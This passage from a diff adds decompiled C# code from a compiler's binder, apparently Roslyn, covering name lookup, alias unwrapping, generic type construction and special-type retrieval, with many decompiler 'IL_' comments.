BindNonGenericSimpleNamespaceOrTypeOrAliasSymbol((IdentifierNameSyntax)syntax, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics, qualifierOpt), + SyntaxKind.GenericName => BindGenericSimpleNamespaceOrTypeOrAliasSymbol((GenericNameSyntax)syntax, diagnostics, basesBeingResolved, qualifierOpt), + _ => TypeWithAnnotations.Create(new ExtendedErrorTypeSymbol(qualifierOpt ?? Compilation.Assembly.GlobalNamespace, string.Empty, 0, null)), + }; + } + + protected NamespaceOrTypeOrAliasSymbolWithAnnotations BindNonGenericSimpleNamespaceOrTypeOrAliasSymbol(IdentifierNameSyntax node, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved, bool suppressUseSiteDiagnostics, NamespaceOrTypeSymbol qualifierOpt) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + //IL_01d3: Unknown result type (might be due to invalid IL or missing references) + //IL_0179: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = node.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + if (string.IsNullOrWhiteSpace(valueText)) + { + return TypeWithAnnotations.Create(new ExtendedErrorTypeSymbol(Compilation.Assembly.GlobalNamespace, valueText, 0, (DiagnosticInfo?)(object)new CSDiagnosticInfo(ErrorCode.ERR_SingleTypeNameNotFound, valueText))); + } + ExtendedErrorTypeSymbol extendedErrorTypeSymbol = CreateErrorIfLookupOnTypeParameter(node.Parent, qualifierOpt, valueText, 0, diagnostics); + if ((object)extendedErrorTypeSymbol != null) + { + return TypeWithAnnotations.Create(extendedErrorTypeSymbol); + } + LookupResult instance = LookupResult.GetInstance(); + LookupOptions simpleNameLookupOptions = GetSimpleNameLookupOptions(node, node.Identifier.IsVerbatimIdentifier()); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupSymbolsSimpleName(instance, qualifierOpt, valueText, 0, basesBeingResolved, simpleNameLookupOptions, diagnose: true, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + Symbol symbol = null; + if ((object)qualifierOpt == null && !isViableType(instance)) + { + identifier = node.Identifier; + if (((SyntaxToken)(ref identifier)).ValueText == "dynamic") + { + if (dynamicAllowed()) + { + symbol = Compilation.DynamicType; + ReportUseSiteDiagnosticForDynamic(diagnostics, node); + } + } + else if (!isViableNamespace(instance)) + { + symbol = BindNativeIntegerSymbolIfAny(node, diagnostics); + } + } + if ((object)symbol == null) + { + symbol = ResultSymbol(instance, valueText, 0, (SyntaxNode)(object)node, diagnostics, suppressUseSiteDiagnostics, out var _, qualifierOpt, simpleNameLookupOptions); + if ((int)symbol.Kind == 0 && ((AliasSymbol)symbol).GetAliasTarget(basesBeingResolved) is TypeSymbol type) + { + if (type.ContainsDynamic()) + { + ReportUseSiteDiagnosticForDynamic(diagnostics, node); + } + if (type.ContainsPointer()) + { + ReportUnsafeIfNotAllowed((SyntaxNode)(object)node, diagnostics); + } + } + } + instance.Free(); + return NamespaceOrTypeOrAliasSymbolWithAnnotations.CreateUnannotated(AreNullableAnnotationsEnabled(node.Identifier), symbol); + bool dynamicAllowed() + { + if (Compilation.LanguageVersion < MessageID.IDS_FeatureDynamic.RequiredVersion()) + { + return false; + } + if (node.Parent == null) + { + return true; + } + if (node.Parent.Kind() == SyntaxKind.Attribute) + { + return false; + } + if (SyntaxFacts.IsInTypeOnlyContext(node)) + { + return true; + } + if (node.Parent is UsingDirectiveSyntax { Alias: not null }) + { + return true; + } + return false; + } + static bool isViableNamespace(LookupResult result) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + if (!result.IsMultiViable) + { + return false; + } + Enumerator enumerator = result.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + if ((int)enumerator.Current.Kind == 12) + { + return true; + } + } + return false; + } + static bool isViableType(LookupResult result) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Invalid comparison between Unknown and I4 + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Invalid comparison between Unknown and I4 + if (!result.IsMultiViable) + { + return false; + } + Enumerator enumerator = result.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SymbolKind kind = current.Kind; + if ((int)kind != 0) + { + if ((int)kind == 11 || (int)kind == 17) + { + return true; + } + } + else if ((int)((AliasSymbol)current).Target.Kind == 11) + { + return true; + } + } + return false; + } + } + + private NamedTypeSymbol BindNativeIntegerSymbolIfAny(IdentifierNameSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + SpecialType val = (SpecialType)(node.IsNint ? 21 : (node.IsNuint ? 22 : 0)); + if ((int)val == 0) + { + return null; + } + CSharpSyntaxNode parent = node.Parent; + if (!(parent is AttributeSyntax attributeSyntax)) + { + if (!(parent is UsingDirectiveSyntax usingDirectiveSyntax)) + { + if (parent is ArgumentSyntax argumentSyntax && IsInsideNameof && argumentSyntax.Parent?.Parent is InvocationExpressionSyntax invocationExpressionSyntax) + { + IdentifierNameSyntax obj = invocationExpressionSyntax.Expression as IdentifierNameSyntax; + if (obj != null && obj.Identifier.ContextualKind() == SyntaxKind.NameOfKeyword) + { + return null; + } + } + } + else if (usingDirectiveSyntax.Alias == null || usingDirectiveSyntax.NamespaceOrType != node) + { + return null; + } + } + else if (attributeSyntax.Name == node) + { + return null; + } + CheckFeatureAvailability((SyntaxNode)(object)node, MessageID.IDS_FeatureNativeInt, diagnostics); + return GetSpecialType(val, diagnostics, (SyntaxNode)(object)node).AsNativeInteger(); + } + + private void ReportUseSiteDiagnosticForDynamic(BindingDiagnosticBag diagnostics, IdentifierNameSyntax node) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + if (node.IsTypeInContextWhichNeedsDynamicAttribute()) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(diagnostics); + if (!Compilation.HasDynamicEmitAttributes(instance, ((SyntaxNode)node).Location)) + { + object[] array = new object[1]; + AttributeDescription dynamicAttribute = AttributeDescription.DynamicAttribute; + array[0] = ((AttributeDescription)(ref dynamicAttribute)).FullName; + Symbol.ReportUseSiteDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_DynamicAttributeMissing, array), diagnostics, ((SyntaxNode)node).Location); + } + else + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + } + ((BindingDiagnosticBag)(object)instance).Free(); + GetSpecialType((SpecialType)7, diagnostics, (SyntaxNode)(object)node); + } + } + + private static LookupOptions GetSimpleNameLookupOptions(NameSyntax node, bool isVerbatimIdentifier) + { + if (SyntaxFacts.IsAttributeName((SyntaxNode)(object)node)) + { + if (!isVerbatimIdentifier) + { + return LookupOptions.AttributeTypeOnly; + } + return LookupOptions.VerbatimNameAttributeTypeOnly; + } + return LookupOptions.NamespacesOrTypesOnly; + } + + private static Symbol UnwrapAliasNoDiagnostics(Symbol symbol, ConsList basesBeingResolved = null) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + if ((int)symbol.Kind == 0) + { + return ((AliasSymbol)symbol).GetAliasTarget(basesBeingResolved); + } + return symbol; + } + + private NamespaceOrTypeOrAliasSymbolWithAnnotations UnwrapAlias(in NamespaceOrTypeOrAliasSymbolWithAnnotations symbol, BindingDiagnosticBag diagnostics, SyntaxNode syntax, ConsList basesBeingResolved = null) + { + AliasSymbol alias; + if (symbol.IsAlias) + { + return NamespaceOrTypeOrAliasSymbolWithAnnotations.CreateUnannotated(symbol.IsNullableEnabled, (NamespaceOrTypeSymbol)UnwrapAlias(symbol.Symbol, out alias, diagnostics, syntax, basesBeingResolved)); + } + return symbol; + } + + private NamespaceOrTypeOrAliasSymbolWithAnnotations UnwrapAlias(in NamespaceOrTypeOrAliasSymbolWithAnnotations symbol, out AliasSymbol alias, BindingDiagnosticBag diagnostics, SyntaxNode syntax, ConsList basesBeingResolved = null) + { + if (symbol.IsAlias) + { + return NamespaceOrTypeOrAliasSymbolWithAnnotations.CreateUnannotated(symbol.IsNullableEnabled, (NamespaceOrTypeSymbol)UnwrapAlias(symbol.Symbol, out alias, diagnostics, syntax, basesBeingResolved)); + } + alias = null; + return symbol; + } + + private Symbol UnwrapAlias(Symbol symbol, BindingDiagnosticBag diagnostics, SyntaxNode syntax, ConsList basesBeingResolved = null) + { + AliasSymbol alias; + return UnwrapAlias(symbol, out alias, diagnostics, syntax, basesBeingResolved); + } + + private Symbol UnwrapAlias(Symbol symbol, out AliasSymbol alias, BindingDiagnosticBag diagnostics, SyntaxNode syntax, ConsList basesBeingResolved = null) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + if ((int)symbol.Kind == 0) + { + alias = (AliasSymbol)symbol; + NamespaceOrTypeSymbol aliasTarget = alias.GetAliasTarget(basesBeingResolved); + if (aliasTarget is TypeSymbol type) + { + TypeSymbolExtensions.VisitType(arg: (this, diagnostics, syntax), type: type, predicate: delegate(TypeSymbol typePart, (Binder, BindingDiagnosticBag diagnostics, SyntaxNode syntax) argTuple, bool isNested) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + argTuple.Item1.ReportDiagnosticsIfObsolete(argTuple.diagnostics, typePart, SyntaxNodeOrToken.op_Implicit(argTuple.syntax), hasBaseReceiver: false); + return false; + }); + } + return aliasTarget; + } + alias = null; + return symbol; + } + + private TypeWithAnnotations BindGenericSimpleNamespaceOrTypeOrAliasSymbol(GenericNameSyntax node, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved, NamespaceOrTypeSymbol qualifierOpt) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = node.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + SeparatedSyntaxList arguments = node.TypeArgumentList.Arguments; + bool isUnboundGenericName = node.IsUnboundGenericName; + NamedTypeSymbol namedTypeSymbol = LookupGenericTypeName(options: GetSimpleNameLookupOptions(node, isVerbatimIdentifier: false), diagnostics: diagnostics, basesBeingResolved: basesBeingResolved, qualifierOpt: qualifierOpt, node: node, plainName: valueText, arity: node.Arity); + NamedTypeSymbol typeSymbol; + if (isUnboundGenericName) + { + if (!IsUnboundTypeAllowed(node)) + { + if (!namedTypeSymbol.IsErrorType()) + { + diagnostics.Add(ErrorCode.ERR_UnexpectedUnboundGenericName, ((SyntaxNode)node).Location); + } + typeSymbol = namedTypeSymbol.Construct(UnboundArgumentErrorTypeSymbol.CreateTypeArguments(namedTypeSymbol.TypeParameters, node.Arity, null), unbound: false); + } + else + { + typeSymbol = namedTypeSymbol.AsUnboundGenericType(); + } + } + else if ((Flags & BinderFlags.SuppressTypeArgumentBinding) != BinderFlags.None) + { + typeSymbol = namedTypeSymbol.Construct(PlaceholderTypeArgumentSymbol.CreateTypeArguments(namedTypeSymbol.TypeParameters)); + } + else + { + ImmutableArray typeArguments = BindTypeArguments(arguments, diagnostics, basesBeingResolved); + typeSymbol = ConstructNamedType(namedTypeSymbol, (SyntaxNode)(object)node, arguments, typeArguments, basesBeingResolved, diagnostics); + } + return TypeWithAnnotations.Create(AreNullableAnnotationsEnabled(node.TypeArgumentList.GreaterThanToken), typeSymbol); + } + + private NamedTypeSymbol LookupGenericTypeName(BindingDiagnosticBag diagnostics, ConsList basesBeingResolved, NamespaceOrTypeSymbol qualifierOpt, GenericNameSyntax node, string plainName, int arity, LookupOptions options) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + ExtendedErrorTypeSymbol extendedErrorTypeSymbol = CreateErrorIfLookupOnTypeParameter(node.Parent, qualifierOpt, plainName, arity, diagnostics); + if ((object)extendedErrorTypeSymbol != null) + { + return extendedErrorTypeSymbol; + } + LookupResult instance = LookupResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupSymbolsSimpleName(instance, qualifierOpt, plainName, arity, basesBeingResolved, options, diagnose: true, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + bool wasError; + Symbol symbol = ResultSymbol(instance, plainName, arity, (SyntaxNode)(object)node, diagnostics, basesBeingResolved != null, out wasError, qualifierOpt, options); + NamedTypeSymbol namedTypeSymbol = symbol as NamedTypeSymbol; + if ((object)namedTypeSymbol == null) + { + namedTypeSymbol = new ExtendedErrorTypeSymbol(GetContainingNamespaceOrType(symbol), ImmutableArray.Create(symbol), instance.Kind, instance.Error, arity); + } + instance.Free(); + return namedTypeSymbol; + } + + private ExtendedErrorTypeSymbol CreateErrorIfLookupOnTypeParameter(CSharpSyntaxNode node, NamespaceOrTypeSymbol qualifierOpt, string name, int arity, BindingDiagnosticBag diagnostics) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + if ((object)qualifierOpt != null && (int)qualifierOpt.Kind == 17) + { + CSDiagnosticInfo cSDiagnosticInfo = new CSDiagnosticInfo(ErrorCode.ERR_LookupInTypeVariable, qualifierOpt); + diagnostics.Add((DiagnosticInfo?)(object)cSDiagnosticInfo, ((SyntaxNode)node).Location); + return new ExtendedErrorTypeSymbol(Compilation, name, arity, (DiagnosticInfo?)(object)cSDiagnosticInfo); + } + return null; + } + + private ImmutableArray BindTypeArguments(SeparatedSyntaxList typeArguments, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved = null) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(typeArguments.Count); + Enumerator enumerator = typeArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeSyntax current = enumerator.Current; + instance.Add(BindTypeArgument(current, diagnostics, basesBeingResolved)); + } + return instance.ToImmutableAndFree(); + } + + private TypeWithAnnotations BindTypeArgument(TypeSyntax typeArgument, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved = null) + { + Binder binder = ((!Compilation.IsFeatureEnabled(MessageID.IDS_FeatureUsingTypeAlias)) ? WithAdditionalFlags(BinderFlags.SuppressUnsafeDiagnostics) : this); + if (typeArgument.Kind() != SyntaxKind.OmittedTypeArgument) + { + return binder.BindType(typeArgument, diagnostics, basesBeingResolved); + } + return TypeWithAnnotations.Create(UnboundArgumentErrorTypeSymbol.Instance); + } + + private NamedTypeSymbol ConstructNamedTypeUnlessTypeArgumentOmitted(SyntaxNode typeSyntax, NamedTypeSymbol type, SeparatedSyntaxList typeArgumentsSyntax, ImmutableArray typeArguments, BindingDiagnosticBag diagnostics) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if (typeArgumentsSyntax.Any(SyntaxKind.OmittedTypeArgument)) + { + Error(diagnostics, ErrorCode.ERR_BadArity, SyntaxNodeOrToken.op_Implicit(typeSyntax), type, MessageID.IDS_SK_TYPE.Localize(), typeArgumentsSyntax.Count); + return type; + } + return ConstructNamedType(type, typeSyntax, typeArgumentsSyntax, typeArguments, null, diagnostics); + } + + private BoundMethodOrPropertyGroup ConstructBoundMemberGroupAndReportOmittedTypeArguments(SyntaxNode syntax, SeparatedSyntaxList typeArgumentsSyntax, ImmutableArray typeArguments, BoundExpression receiver, string plainName, ArrayBuilder members, LookupResult lookupResult, BoundMethodGroupFlags methodGroupFlags, bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_016d: Unknown result type (might be due to invalid IL or missing references) + //IL_0172: Unknown result type (might be due to invalid IL or missing references) + //IL_0174: Unknown result type (might be due to invalid IL or missing references) + //IL_0178: Invalid comparison between Unknown and I4 + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_017a: Unknown result type (might be due to invalid IL or missing references) + //IL_017e: Invalid comparison between Unknown and I4 + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_01c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + if (!hasErrors && lookupResult.IsMultiViable && typeArgumentsSyntax.Any(SyntaxKind.OmittedTypeArgument)) + { + Error(diagnostics, ErrorCode.ERR_BadArity, SyntaxNodeOrToken.op_Implicit(syntax), plainName, MessageID.IDS_MethodGroup.Localize(), typeArgumentsSyntax.Count); + hasErrors = true; + } + BoundExpression valueExpressionIfTypeOrValueReceiver = GetValueExpressionIfTypeOrValueReceiver(receiver); + if (IsPossiblyCapturingPrimaryConstructorParameterReference(valueExpressionIfTypeOrValueReceiver, out var parameterSymbol)) + { + LookupResult lookupResult2 = null; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + CheckWhatCandidatesWeHave(members, parameterSymbol.Type, plainName, (!typeArguments.IsDefault) ? typeArguments.Length : 0, ref lookupResult2, ref useSiteInfo, out var haveInstanceCandidates, out var haveStaticCandidates); + lookupResult2?.Free(); + ((BindingDiagnosticBag)(object)diagnostics).Add(valueExpressionIfTypeOrValueReceiver.Syntax, useSiteInfo); + if (haveInstanceCandidates) + { + BindingDiagnosticBag bindingDiagnosticBag = null; + if (haveStaticCandidates) + { + Error(diagnostics, ErrorCode.ERR_AmbiguousPrimaryConstructorParameterAsColorColorReceiver, SyntaxNodeOrToken.op_Implicit(valueExpressionIfTypeOrValueReceiver.Syntax), parameterSymbol.Name, parameterSymbol.Type, parameterSymbol); + bindingDiagnosticBag = BindingDiagnosticBag.GetInstance(diagnostics); + } + receiver = ReplaceTypeOrValueReceiver(receiver, useType: false, bindingDiagnosticBag ?? diagnostics); + ((BindingDiagnosticBag)(object)bindingDiagnosticBag)?.Free(); + if (haveStaticCandidates) + { + receiver = new BoundBadExpression(receiver.Syntax, LookupResultKind.Ambiguous, ImmutableArray.Empty, ImmutableArray.Create(receiver), receiver.Type, hasErrors: true).MakeCompilerGenerated(); + } + } + else + { + receiver = ReplaceTypeOrValueReceiver(receiver, useType: true, diagnostics); + } + } + SymbolKind kind = members[0].Kind; + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return new BoundPropertyGroup(syntax, ArrayBuilderExtensions.SelectAsArray(members, s_toPropertySymbolFunc), receiver, lookupResult.Kind, hasErrors); + } + throw ExceptionUtilities.UnexpectedValue((object)members[0].Kind); + } + return new BoundMethodGroup(syntax, typeArguments, receiver, plainName, ArrayBuilderExtensions.SelectAsArray(members, s_toMethodSymbolFunc), lookupResult, methodGroupFlags, this, hasErrors); + } + + private bool IsPossiblyCapturingPrimaryConstructorParameterReference(BoundExpression colorColorValueReceiver, out ParameterSymbol parameterSymbol) + { + if (colorColorValueReceiver is BoundParameter boundParameter) + { + ParameterSymbol parameterSymbol2 = boundParameter.ParameterSymbol; + if ((object)parameterSymbol2 != null && parameterSymbol2.ContainingSymbol is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor && IsInDeclaringTypeInstanceMember(synthesizedPrimaryConstructor) && !InFieldInitializer && (object)ContainingMember() != synthesizedPrimaryConstructor && !IsInsideNameof) + { + parameterSymbol = parameterSymbol2; + return true; + } + } + parameterSymbol = null; + return false; + } + + private void CheckWhatCandidatesWeHave(ArrayBuilder members, TypeSymbol receiverType, string plainName, int arity, ref LookupResult lookupResult, ref CompoundUseSiteInfo useSiteInfo, out bool haveInstanceCandidates, out bool haveStaticCandidates) + { + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Invalid comparison between Unknown and I4 + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + haveInstanceCandidates = ArrayBuilderExtensions.Any(members, (Func)((Symbol m) => !m.IsStatic)); + haveStaticCandidates = ArrayBuilderExtensions.Any(members, (Func)((Symbol m) => m.IsStatic)); + if (haveInstanceCandidates || (int)members[0].Kind != 9) + { + return; + } + ExtensionMethodScopeEnumerator enumerator = new ExtensionMethodScopes(this).GetEnumerator(); + while (enumerator.MoveNext()) + { + ExtensionMethodScope current = enumerator.Current; + if (lookupResult == null) + { + lookupResult = LookupResult.GetInstance(); + } + LookupExtensionMethods(lookupResult, current, plainName, arity, ref useSiteInfo); + if (lookupResult.IsMultiViable) + { + Enumerator enumerator2 = lookupResult.Symbols.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if ((object)((MethodSymbol)enumerator2.Current).ReduceExtensionMethod(receiverType, Compilation) != null) + { + haveInstanceCandidates = true; + break; + } + } + } + lookupResult.Clear(); + if (haveInstanceCandidates) + { + break; + } + } + } + + private NamedTypeSymbol ConstructNamedType(NamedTypeSymbol type, SyntaxNode typeSyntax, SeparatedSyntaxList typeArgumentsSyntax, ImmutableArray typeArguments, ConsList basesBeingResolved, BindingDiagnosticBag diagnostics) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + type = type.Construct(typeArguments); + if (ShouldCheckConstraints && ConstraintsHelper.RequiresChecking(type)) + { + bool includeNullability = Compilation.IsFeatureEnabled(MessageID.IDS_FeatureNullableReferenceTypes); + type.CheckConstraintsForNamedType(new ConstraintsHelper.CheckConstraintsArgs(Compilation, Conversions, includeNullability, typeSyntax.Location, diagnostics), typeSyntax, typeArgumentsSyntax, basesBeingResolved); + } + return type; + } + + private NamespaceOrTypeOrAliasSymbolWithAnnotations BindQualifiedName(ExpressionSyntax leftName, SimpleNameSyntax rightName, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved, bool suppressUseSiteDiagnostics) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + NamespaceOrTypeSymbol namespaceOrTypeSymbol = BindNamespaceOrTypeSymbol(leftName, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics: false).NamespaceOrTypeSymbol; + ReportDiagnosticsIfObsolete(diagnostics, namespaceOrTypeSymbol, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)leftName), hasBaseReceiver: false); + int num; + if ((int)namespaceOrTypeSymbol.Kind == 11) + { + num = (((NamedTypeSymbol)namespaceOrTypeSymbol).IsUnboundGenericType ? 1 : 0); + if (num != 0) + { + namespaceOrTypeSymbol = ((NamedTypeSymbol)namespaceOrTypeSymbol).OriginalDefinition; + } + } + else + { + num = 0; + } + NamespaceOrTypeOrAliasSymbolWithAnnotations right = BindSimpleNamespaceOrTypeOrAliasSymbol(rightName, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics, namespaceOrTypeSymbol); + if (num != 0) + { + return convertToUnboundGenericType(); + } + return right; + NamespaceOrTypeOrAliasSymbolWithAnnotations convertToUnboundGenericType() + { + if (right.Symbol is NamedTypeSymbol { IsGenericType: not false } namedTypeSymbol) + { + TypeWithAnnotations typeWithAnnotations = right.TypeWithAnnotations; + return typeWithAnnotations.WithTypeAndModifiers(namedTypeSymbol.AsUnboundGenericType(), typeWithAnnotations.CustomModifiers); + } + return right; + } + } + + internal NamedTypeSymbol GetSpecialType(SpecialType typeId, BindingDiagnosticBag diagnostics, SyntaxNode node) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return GetSpecialType(Compilation, typeId, node, diagnostics); + } + + internal static NamedTypeSymbol GetSpecialType(CSharpCompilation compilation, SpecialType typeId, SyntaxNode node, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol specialType = compilation.GetSpecialType(typeId); + ReportUseSite(specialType, diagnostics, node); + return specialType; + } + + internal static NamedTypeSymbol GetSpecialType(CSharpCompilation compilation, SpecialType typeId, Location location, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol specialType = compilation.GetSpecialType(typeId); + ReportUseSite(specialType, diagnostics, location); + return specialType; + } + + internal Symbol GetSpecialTypeMember(SpecialMember member, BindingDiagnosticBag diagnostics, SyntaxNode syntax) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if (!TryGetSpecialTypeMember(Compilation, member, syntax, diagnostics, out var symbol)) + { + return null; + } + return symbol; + } + + internal static bool TryGetSpecialTypeMember(CSharpCompilation compilation, SpecialMember specialMember, SyntaxNode syntax, BindingDiagnosticBag diagnostics, out TSymbol symbol) where TSymbol : Symbol + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + symbol = (TSymbol)compilation.GetSpecialTypeMember(specialMember); + if ((object)symbol == null) + { + MemberDescriptor descriptor = SpecialMembers.GetDescriptor(specialMember); + diagnostics.Add(ErrorCode.ERR_MissingPredefinedMember, syntax.Location, ((MemberDescriptor)(ref descriptor)).DeclaringTypeMetadataName, descriptor.Name); + return false; + } + UseSiteInfo useSiteInfoForWellKnownMemberOrContainingType = GetUseSiteInfoForWellKnownMemberOrContainingType(symbol); + if (useSiteInfoForWellKnownMemberOrContainingType.DiagnosticInfo != null) + { + ((BindingDiagnosticBag)(object)diagnostics).ReportUseSiteDiagnostic(useSiteInfoForWellKnownMemberOrContainingType.DiagnosticInfo, (Location)new SourceLocation(syntax)); + } + return true; + } + + private static UseSiteInfo GetUseSiteInfoForWellKnownMemberOrContainingType(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo result = symbol.GetUseSiteInfo(); + symbol.MergeUseSiteInfo(ref result, symbol.ContainingType.GetUseSiteInfo()); + return result; + } + + internal static bool ReportUseSite(Symbol symbol, BindingDiagnosticBag diagnostics, SyntaxNode node) + { + return diagnostics.ReportUseSite(symbol, node); + } + + internal static bool ReportUseSite(Symbol symbol, BindingDiagnosticBag diagnostics, SyntaxToken token) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return diagnostics.ReportUseSite(symbol, token); + } + + internal static bool ReportUseSite(Symbol symbol, BindingDiagnosticBag diagnostics, Location location) + { + return diagnostics.ReportUseSite(symbol, location); + } + + internal NamedTypeSymbol GetWellKnownType(WellKnownType type, BindingDiagnosticBag diagnostics, SyntaxNode node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return GetWellKnownType(type, diagnostics, node.Location); + } + + internal NamedTypeSymbol GetWellKnownType(WellKnownType type, BindingDiagnosticBag diagnostics, Location location) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return GetWellKnownType(Compilation, type, diagnostics, location); + } + + internal static NamedTypeSymbol GetWellKnownType(CSharpCompilation compilation, WellKnownType type, BindingDiagnosticBag diagnostics, SyntaxNode node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return GetWellKnownType(compilation, type, diagnostics, node.Location); + } + + internal static NamedTypeSymbol GetWellKnownType(CSharpCompilation compilation, WellKnownType type, BindingDiagnosticBag diagnostics, Location location) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol wellKnownType = compilation.GetWellKnownType(type); + ReportUseSite(wellKnownType, diagnostics, location); + return wellKnownType; + } + + internal NamedTypeSymbol GetWellKnownType(WellKnownType type, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol wellKnownType = Compilation.GetWellKnownType(type); + 